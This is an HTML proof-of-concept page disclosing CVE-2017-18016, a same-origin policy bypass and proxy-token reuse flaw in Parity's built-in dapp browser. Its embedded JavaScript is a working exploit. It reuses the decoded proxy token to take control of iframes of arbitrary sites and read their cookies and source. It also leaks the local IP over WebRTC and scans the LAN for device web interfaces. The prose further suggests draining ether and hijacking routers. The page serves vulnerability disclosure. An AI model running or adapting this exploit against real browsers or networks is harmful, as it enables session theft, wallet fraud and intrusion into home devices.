<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="cve-2017-18016 paritytech parity same origin policy bypass sop">
    <meta name="author" content="github.com/tintinweb">
    <!--<link rel="icon" href="favicon.ico">-->

    <title>Ethereum | Parity SOP Vulnerability</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>

	<script type="text/javascript">
	;(function(){

	// This would be the place to edit if you want a different
	// Base32 implementation

	var alphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ'.toLowerCase()
	var alias={}
	//var alias = { o:0, i:1, l:1, s:5 }

	/**
	 * Build a lookup table and memoize it
	 *
	 * Return an object that maps a character to its
	 * byte value.
	 */

	var lookup = function() {
		var table = {}
		// Invert 'alphabet'
		for (var i = 0; i < alphabet.length; i++) {
			table[alphabet[i]] = i
		}
		// Splice in 'alias'
		for (var key in alias) {
			if (!alias.hasOwnProperty(key)) continue
			table[key] = table['' + alias[key]]
		}
		lookup = function() { return table }
		return table
	}

	/**
	 * A streaming encoder
	 *
	 *     var encoder = new base32.Encoder()
	 *     var output1 = encoder.update(input1)
	 *     var output2 = encoder.update(input2)
	 *     var lastoutput = encode.update(lastinput, true)
	 */

	function Encoder() {
		var skip = 0 // how many bits we will skip from the first byte
		var bits = 0 // 5 high bits, carry from one byte to the next

		this.output = ''

		// Read one byte of input
		// Should not really be used except by "update"
		this.readByte = function(byte) {
			// coerce the byte to an int
			if (typeof byte == 'string') byte = byte.charCodeAt(0)

			if (skip < 0) { // we have a carry from the previous byte
				bits |= (byte >> (-skip))
			} else { // no carry
				bits = (byte << skip) & 248
			}

			if (skip > 3) {
				// not enough data to produce a character, get us another one
				skip -= 8
				return 1
			}

			if (skip < 4) {
				// produce a character
				this.output += alphabet[bits >> 3]
				skip += 5
			}

			return 0
		}

		// Flush any remaining bits left in the stream
		this.finish = function(check) {
			var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
			this.output = ''
			return output
		}
	}

	/**
	 * Process additional input
	 *
	 * input: string of bytes to convert
	 * flush: boolean, should we flush any trailing bits left
	 *        in the stream
	 * returns: a string of characters representing 'input' in base32
	 */

	Encoder.prototype.update = function(input, flush) {
		for (var i = 0; i < input.length; ) {
			i += this.readByte(input[i])
		}
		// consume all output
		var output = this.output
		this.output = ''
		if (flush) {
		  output += this.finish()
		}
		return output
	}

	// Functions analogously to Encoder

	function Decoder() {
		var skip = 0 // how many bits we have from the previous character
		var byte = 0 // current byte we're producing

		this.output = ''

		// Consume a character from the stream, store
		// the output in this.output. As before, better
		// to use update().
		this.readChar = function(char) {
			if (typeof char != 'string'){
				if (typeof char == 'number') {
					char = String.fromCharCode(char)
				}
			}
			char = char.toLowerCase()
			var val = lookup()[char]
			if (typeof val == 'undefined') {
				// character does not exist in our lookup table
				return // skip silently. An alternative would be:
				// throw Error('Could not find character "' + char + '" in lookup table.')
			}
			val <<= 3 // move to the high bits
			byte |= val >>> skip
			skip += 5
			if (skip >= 8) {
				// we have enough to preduce output
				this.output += String.fromCharCode(byte)
				skip -= 8
				if (skip > 0) byte = (val << (5 - skip)) & 255
				else byte = 0
			}

		}

		this.finish = function(check) {
			var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
			this.output = ''
			return output
		}
	}

	Decoder.prototype.update = function(input, flush) {
		for (var i = 0; i < input.length; i++) {
			this.readChar(input[i])
		}
		var output = this.output
		this.output = ''
		if (flush) {
		  output += this.finish()
		}
		return output
	}

	/** Convenience functions
	 *
	 * These are the ones to use if you just have a string and
	 * want to convert it without dealing with streams and whatnot.
	 */

	// String of data goes in, Base32-encoded string comes out.
	function encode(input) {
	  var encoder = new Encoder()
	  var output = encoder.update(input, true)
	  return output
	}

	// Base32-encoded string goes in, decoded data comes out.
	function decode(input) {
		var decoder = new Decoder()
		var output = decoder.update(input, true)
		return output
	}

	/**
	 * sha1 functions wrap the hash function from Node.js
	 *
	 * Several ways to use this:
	 *
	 *     var hash = base32.sha1('Hello World')
	 *     base32.sha1(process.stdin, function (err, data) {
	 *       if (err) return console.log("Something went wrong: " + err.message)
	 *       console.log("Your SHA1: " + data)
	 *     }
	 *     base32.sha1.file('/my/file/path', console.log)
	 */

	var crypto, fs
	function sha1(input, cb) {
		if (typeof crypto == 'undefined') crypto = require('crypto')
		var hash = crypto.createHash('sha1')
		hash.digest = (function(digest) {
			return function() {
				return encode(digest.call(this, 'binary'))
			}
		})(hash.digest)
		if (cb) { // streaming
			if (typeof input == 'string' || Buffer.isBuffer(input)) {
				try {
					return cb(null, sha1(input))
				} catch (err) {
					return cb(err, null)
				}
			}
			if (!typeof input.on == 'function') return cb({ message: "Not a stream!" })
			input.on('data', function(chunk) { hash.update(chunk) })
			input.on('end', function() { cb(null, hash.digest()) })
			return
		}

		// non-streaming
		if (input) {
			return hash.update(input).digest()
		}
		return hash
	}
	sha1.file = function(filename, cb) {
		if (filename == '-') {
			process.stdin.resume()
			return sha1(process.stdin, cb)
		}
		if (typeof fs == 'undefined') fs = require('fs')
		return fs.stat(filename, function(err, stats) {
			if (err) return cb(err, null)
			if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" })
			return sha1(require('fs').createReadStream(filename), cb)
		})
	}

	var base32 = {
		Decoder: Decoder,
		Encoder: Encoder,
		encode: encode,
		decode: decode,
		sha1: sha1
	}

	if (typeof window !== 'undefined') {
	  // we're in a browser - OMG!
	  window.base32 = base32
	}

	if (typeof module !== 'undefined' && module.exports) {
	  // nodejs/browserify
	  module.exports = base32
	}
	})();
	</script>

	<script type="text/javascript">
	function new_parity_proxy_url(destination){
		//get current webproxy token (we'll just be reusing this one)
		var url_decoded = base32.decode(document.location.search.match(/web\/(.*)$/)[1]);
		var token = url_decoded.split("+")[0];
		console.log(document.location);
		console.log(url_decoded);
		console.log(token);
		console.log(token + "+" + destination);
		var new_url = document.location.origin + "/web/" + base32.encode(token + "+" + destination).toUpperCase();
		console.log(new_url);
		return new_url;
	}

	function sop_iframe_inject (destination){
		d = document.createElement("div");
		d.id=destination;
		d.style="border-style: dashed";
		document.body.appendChild(d);
		
		d_data = document.createElement("div");
		
		i = document.createElement("iframe");
		i.sandbox = "allow-same-origin allow-forms allow-pointer-lock allow-scripts allow-popups allow-modals";
		i.style = "resize: both; overflow: auto;"
		d.appendChild(i);
		d.appendChild(d_data);
		var proxied_url = new_parity_proxy_url(destination);
		i.onload = function() {
			//fix the document removing the injection script
			
			var doc = i.contentWindow.document;
			var doc_html = doc.documentElement.outerHTML;
			doc_html = doc_html.replace("<script src=\"\/parity-utils\/inject.js\"><\/script>","").replace("<\/head><body style=\"background-color: #FFFFFF;\">","");
			doc.open();
			doc.write(doc_html);
			doc.close();
		

		   i.contentDocument.head.innerHTML = "<title>INJECTED</title>";
		   // just do anything
		   i.contentDocument.body.prepend("!--> Injected from parent frame!");
		   d_data.innerHTML = "<br><br>";
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have full control over iframe:'+destination+'</div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames Cookie value: <pre>' + i.contentDocument.cookie + '<pre></div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames dom title: <pre>' + i.contentDocument.head.title + '<pre></div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames window.location.href: <pre>' + i.contentWindow.location.href + '<pre></div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have prepended a body element :<b>!--> Injected from parent frame!</b></div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have removed inject.js from the target frame:'+destination+'<br></div>';
		   d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] source (via xhr): <textarea>'+getUrl(proxied_url).responseText+'</textarea></div>';
		};
		
		//navigate to url (poor mans location setter :p)
		i.contentWindow.location.replace(proxied_url);
	}

	function get_lan_ip(cb){
		window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;   //compatibility for firefox and chrome
		var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};      
		pc.createDataChannel("");    //create a bogus data channel
		pc.createOffer(pc.setLocalDescription.bind(pc), noop);    // create offer and set local description
		pc.onicecandidate = function(ice){  //listen for candidate events
			if(!ice || !ice.candidate || !ice.candidate.candidate)  return;
			var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
			cb(myIP);
			pc.onicecandidate = noop;
		};
	}

	function getUrl(url){
		var xhr = new XMLHttpRequest;
		xhr.open('GET', url, false); //synchronous.
		xhr.send();
		return xhr;
	};

	function find_local_web_interfaces(){
		get_lan_ip(function(local_ip){
			/** find routers on local lan segment
			try .1 and .254 first, otherwise bruteforce
			**/
			var local_ip_netpart = local_ip.split(".").slice(0,3).join(".")
			console.log("your local ip: "+local_ip);
			console.log("testing lan segment: " + local_ip_netpart);
			
			function get_candidate_ips(base){
				var ret = new Array();
				ret.push(1);
				ret.push(254);
				for(var i=2; i<254; i++){
				   ret.push(i);
				}
				return ret;
			}
			
			var candidate_ips = get_candidate_ips();
			
			for (i=0;i<candidate_ips.length;i++){
				//synchronously. avoid dos'ing parity prx
				var probe_ip = local_ip_netpart + "." + candidate_ips[i];
				console.log("probing "+probe_ip);
				var parity_probe_url = new_parity_proxy_url("http://"+probe_ip);
				if (getUrl(parity_probe_url).status<400){
					console.log("HIT! - "+probe_ip+" is available! " +parity_probe_url);
					sop_iframe_inject(parity_probe_url);
					if (document.getElementById("stop_on_first_hit").checked) return;
				}
			}
		});
	}

	</script>
</head>
<body>
 <!-- Fixed navbar -->
    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="#">Parity Vulnerability</a>
        </div>
        <div id="navbar" class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
            <li class="active"><a href="#">Home</a></li>
            <li><a href="#contact">Contact</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container theme-showcase" role="main">

      <!-- Main jumbotron for a primary marketing message or call to action -->
      <div class="jumbotron">
        <h1>Parity SOP Bypass</h1>
        <p>Same-Origin Policy Bypass in Parity's Dapp Browser</p>
      </div>
	  <div class="well">
        <p>
        <b>Disclaimer</b>
        <pre>/* This program is free software. It comes without any warranty, to
 * the extent permitted by applicable law. You can redistribute it
 * and/or modify it under the terms of the GNU General Public License,
 * Version 2, as published by the Free Software Foundation. See
 * github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016/
 * for more details. */ </pre></p>
      </div>
	  <p>
        <button type="button" class="btn btn-primary" onclick="alert('Ok, thanks ;)')">I agree!</button>
      </p>
	  
	<div class="jumbotron">
		<h1 class="display-4">Issue #1</h1>
		<p class="lead">Same-Origin Policy (SOP) bypass vulnerability due to parity proxying websites</p>
		<hr class="my-4">
		<div>
			Every webpage you browse to with parity's built-in browser (http://127.0.0.1:8180/#/web) is proxied via http://127.0.0.1:8080. 
			For example, when you browse to 
			<ul>
				<li>http://google.com's the websites origin changes to 127.0.0.1:8080.</li>
				<li>Navigating to http://oststrom.com changes the origin to 127.0.0.1:8080 as it is proxied via parity.</li>
			</ul> 
			Both websites therefore share the same origin rendering a core feature of modern web browsers - the <b>Same-Origin Policy</b> - ineffective. 
			A website is same-origin if <b>proto, host and port</b> (iexplore does not check port) match. 
			Bypassing the SOP gives full control over XHR and DOM of child nodes (including iframe source) with the same origin.
		</div>
		<div class="alert alert-warning" role="alert">
			<span class="badge badge-warning">Warning</span> This means, as there's only <u>one origin for all websites</u>, non domain restricted cookies are effectively shared with all websites.
		</div>
		<b><span class="badge badge-primary">DEMO #1</span> Cookies shared with other websites</b>
		<ul>
		   <li>1) using parity's built-in browser, navigate to any website to set a cookie (e.g. http://google.com)</li>
		   <li>2) reload this this PoC (https://tintinweb.github.io/pub/pocs/cve-2017-18016/) </li>
		   <li>3) hit the <b>Display Cookies</b> button</li>
		</ul>
		<p class="lead">
			<textarea id="txtdomcookie"></textarea><br>
			<a class="btn btn-primary btn-lg" role="button" onclick="document.getElementById('txtdomcookie').value=document.cookie">Display Cookies</a>
		</p>
	</div>
	<div class="jumbotron">
		<h1 class="display-4">Issue #2</h1>
		<p class="lead">Parity WebProxy Token Reuse vulnerability</p>
		<hr class="my-4">
		<div>When navigating to a website with the built-in parity webbrowser a webproxy request token is requested and sent along an encoded request for an url. For example, navigating parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of the form http://127.0.0.1:8080/web/[base32_encode(token+url)].</div>
		
		<br>
		
		<div class="alert alert-warning" role="alert">
			<span class="badge badge-warning">Warning</span> When navigating to http://oststrom.com the website can detect that it has been proxied by checking the location.href. 
			It can further base32 decode and extract the web-proxy token and simply reuse it as the token is not bound to any specifiy request url or hostname allowing any website to create proxy urls and navigate to any other website.
		</div>
		<div class="alert alert-info" role="alert">
			<span class="badge badge-info">Info</span> The parity webbrowser does not allow a proxied website to change the top frames location or open new windows (iframe sandbox). 
		</div>
		<div class="alert alert-warning" role="alert">
			<span class="badge badge-warning">Warning</span> However, it allows to perform XHR or embed iframes with script access to proxied locations of arbitrary websites. This allows one website to control any other website since they're both same origin (Issue 1).
		</div>
		<div class="alert alert-info" role="alert">
			<span class="badge badge-info">Info</span> The controlling website has full scripting access to sub-iframes potentially allowing for service enumeration attacks or simulate user interaction.
		</div>
		<br><br>
		<b><span class="badge badge-primary">DEMO #2</span> Full control of arbitrary websites via token reuse and SOP bypass</b>
		 <ul>
		   <li>1) enter url into the textbox</li>
		   <li>2) hit <b>Spawn SOP Iframe</b></li>
		 </ul>
		<b>Notes:</b>
		 <ul>
		   <li><span class="badge badge-light">Note</span> the current page can modify/inject arbitrary DOM/scripting into the iframe, access cookies (only the ones stored for 127.0.0.1, potentially from prevs sessions with parity), manipulate change and reload the websites content (e.g. removing parity's inject.js), get the source via XHR</li>
		   <li><span class="badge badge-light">Note</span> some websites may not load due to js errors. However, since the website has full control it is likely the calling website can fix any js errors occuring in the subframe.</li>
		   <li><span class="badge badge-light">Note</span> Untested but likely possible: Prepare a transaction to send off ether via parity/web3 api or xhr, open an iframe or perform requests to directly authorize (may require unlock secret) or redress the UI to clickjack the authorization or perform other actions messing with the users account</li>
		 </ul>
		 <br>
		 <p class="lead">
			<a class="btn btn-primary btn-lg" role="button" onclick="sop_iframe_inject(document.getElementById('dst').value)">Spawn SOP Iframe</a>
			<input type=text value="http://myetherwallet.com" id="dst">
		</p>
	
		 <br><br>
		 <b><span class="badge badge-primary">DEMO #3</span> (Chrome) get local lan ip and service scan for web-enabled devices on the LAN to mess with them</b><br>
		 e.g. search for local router interfaces with default passwords and reconfigure it to perform DNS based redirection attacks (mitm) or similar
		 <ul>
		   <li>1) click 'Find LAN-Local WebInterfaces' to scan for devices listening on http port 80 within your LAN (IP .1 to .254)</li>
		   <li>2) an iframe with full control will be created for each device found on the lan</li>
		   <li>Note: might require some fixups for the iframe conted to be loaded completely due to parity webproxy messing with header scripts or websites unable to be loaded via iframes. XHR should work though and CSRF tokens can be read from XHR requests or iframe dom (if dom based). See javascript console for debug.</li>
		 </ul>
		 
		 <p class="lead">
			<a class="btn btn-primary btn-lg" role="button" onclick="find_local_web_interfaces()">Find LAN-Local WebInterfaces</a>
		</p>
		<input type="checkbox" value="stop_on_first_hit" name="stop_on_first_hit" id="stop_on_first_hit"><label for="stop_on_first_hit">Stop on first device</label>
		
		 
	</div>
     
      <div class="page-header">
        <h1 id="contact">Contact</h1>
      </div>
      <div>
		<a href="https://github.com/tintinweb">//tintinweb</a>
      </div>
    </div> <!-- /container -->
</body>
</html>